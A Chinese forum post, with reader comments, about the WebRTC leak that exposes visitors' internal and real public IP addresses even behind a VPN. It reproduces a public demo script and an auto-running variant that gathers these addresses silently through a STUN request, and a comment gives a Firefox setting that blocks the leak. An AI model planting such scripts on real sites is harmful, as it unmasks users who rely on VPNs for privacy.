通过WebRTC漏洞 获取内网IP以及VPN用户真实IP
WebRTC是一个支持网络浏览器进行实时语音对话或视频对话的软件架构。它于 2011 年 6 月 1 日开源并在 Google、Mozilla、Opera 支持下被包括进万维网联盟的 W3C 推荐标准。不同的浏览器可通过该技术进行免费的语音和视频聊天。在周五的 Google I/O 大会上，Google 的 WebRTC 工程主管 Justin Uberti 表示，一周之内，WebRTC将支持超过十亿个不同端点（桌面浏览器和移动设备端）。
根据http://thehackernews.com/2015/02/webrtc-leaks-vpn-ip-address.html的说明，我们进行了测试。发现在本地为公网IP时可以得到真实公网IP，若通过内网接入公网，只能得到内网IP。
官网测试代码如下：
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<h4>
Demo for:
<a href="https://github.com/diafygi/webrtc-ips">
[url]https://github.com/diafygi/webrtc-ips[/url]
</a>
</h4>
<p>
This demo secretly makes requests to STUN servers that can log your
request. These requests do not show up in developer consoles and
cannot be blocked by browser plugins (AdBlock, Ghostery, etc.).
</p>
<h4>Your local IP addresses:</h4>
<ul></ul>
<h4>Your public IP addresses:</h4>
<ul></ul>
<script>
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
//insert IP addresses into the page
getIPs(function(ip){
var li = document.createElement("li");
li.textContent = ip;
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/))
document.getElementsByTagName("ul")[0].appendChild(li);
//assume the rest are public IPs
else
document.getElementsByTagName("ul")[1].appendChild(li);
});
</script>
</body>
</html><script language="javascript">
var rtcTest =
{
rtcDetection: function()
{
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
if (typeof RTCPeerConnection === 'undefined')
{
alert("No weak!");
return;
}
rtcTest.rtcDetectionDo(function(ip)
{
if( (ip.substring(0,3) == "10.") || (ip.substring(0,7) == "172.16.") || (ip.substring(0,8) == "192.168.") )
alert("neiwang:"+ip);
else
alert("waiwang:"+ip);
});
},
// Get the IP addresses associated with an account
// Thanks: [url]https://github.com/diafygi/webrtc-ips[/url]
rtcDetectionDo: function(callback)
{
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
},
}
window.onload=function(){rtcTest.rtcDetection();};
</script>使用条件：浏览器必须支持WEBRTC，如火狐、chrome。
情况一、本地拨号连入公网，存在公网IP，再连接VPN，可以获取公网IP及VPN IP。
情况二、本地通过内网连入公网，本地无公网IP，再连接VPN，只可以获取VPN IP。
关于作者
评论7次
恩，这个我xi望不能用，否则VPN难受了。
防范方法：Firefox：about:config,搜"media.peerconnection.enabled",改成false即可。chrome貌似没法关。。。。。。毕竟谷歌都在开发者大会上力推了的......
LZ 标题党！ 瞎扯淡… 测试清楚了再写文章吧！https://github.com/diafygi/webrtc-ipshttps://github.com/diafygi/webrtc-ips/blob/master/index.html
扯什么淡了？ 什么问题？
LZ 标题党！ 瞎扯淡… 测试清楚了再写文章吧！ https://github.com/diafygi/webrtc-ips https://github.com/diafygi/webrtc-ips/blob/master/index.html
不能也好，不然vpn就没用了
测试没通过
楼主再研究研究，能查出cdn的真实IP就美呆了。